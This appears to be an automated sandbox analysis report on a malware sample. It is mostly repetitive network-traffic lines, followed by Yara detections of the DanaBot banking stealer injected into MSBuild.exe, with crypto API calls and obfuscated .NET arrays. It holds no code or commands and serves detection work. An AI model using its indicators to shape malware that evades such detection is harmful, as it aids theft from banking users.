Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50241
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 12.2.MSBuild.exe.3040000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe PID: 1512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5900, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03512240 CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptExportKey,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,CryptDestroyKey,CryptReleaseContext,	12_2_03512240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511698 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptEncrypt,CryptEncrypt,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptImportKey,CryptSignHashA,CryptSignHashA,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	12_2_03511698
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511A4C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptAcquireContextA,CryptImportKey,CryptCreateHash,CryptHashData,CryptVerifySignatureW,CryptDecrypt,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	12_2_03511A4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03511E5C CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptDecrypt,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptReleaseContext,	12_2_03511E5C

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.MSBuild.exe.3040000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.47a1cb8.4.raw.unpack, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 98304
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.5020000.6.raw.unpack, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 98304
Source: d4fn51mh.dll.2.dr, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 98304
Source: k41v4obh.dll.15.dr, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 98304

.NET source code contains very large strings

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, nEzuSqLtIcboJGcwzsk.cs	Long String: Length: 1239193
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.5020250.7.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.5040000.8.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.47a1f08.3.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923
Source: 0.2.SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe.47baad8.5.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923
Source: 2.3.csc.exe.57f8160.0.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923
Source: 2.3.csc.exe.57f8160.1.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923
Source: 2.3.csc.exe.57f8160.2.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923
Source: 15.3.csc.exe.6a6afc0.0.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 45923

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_0351835C LoadLibraryA,GetProcAddress,NtQueryVirtualMemory,NtQueryVirtualMemory,

12_2_0351835C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0343B910	12_2_0343B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_034283DC	12_2_034283DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_034CC1B8	12_2_034CC1B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_033C9704	12_2_033C9704
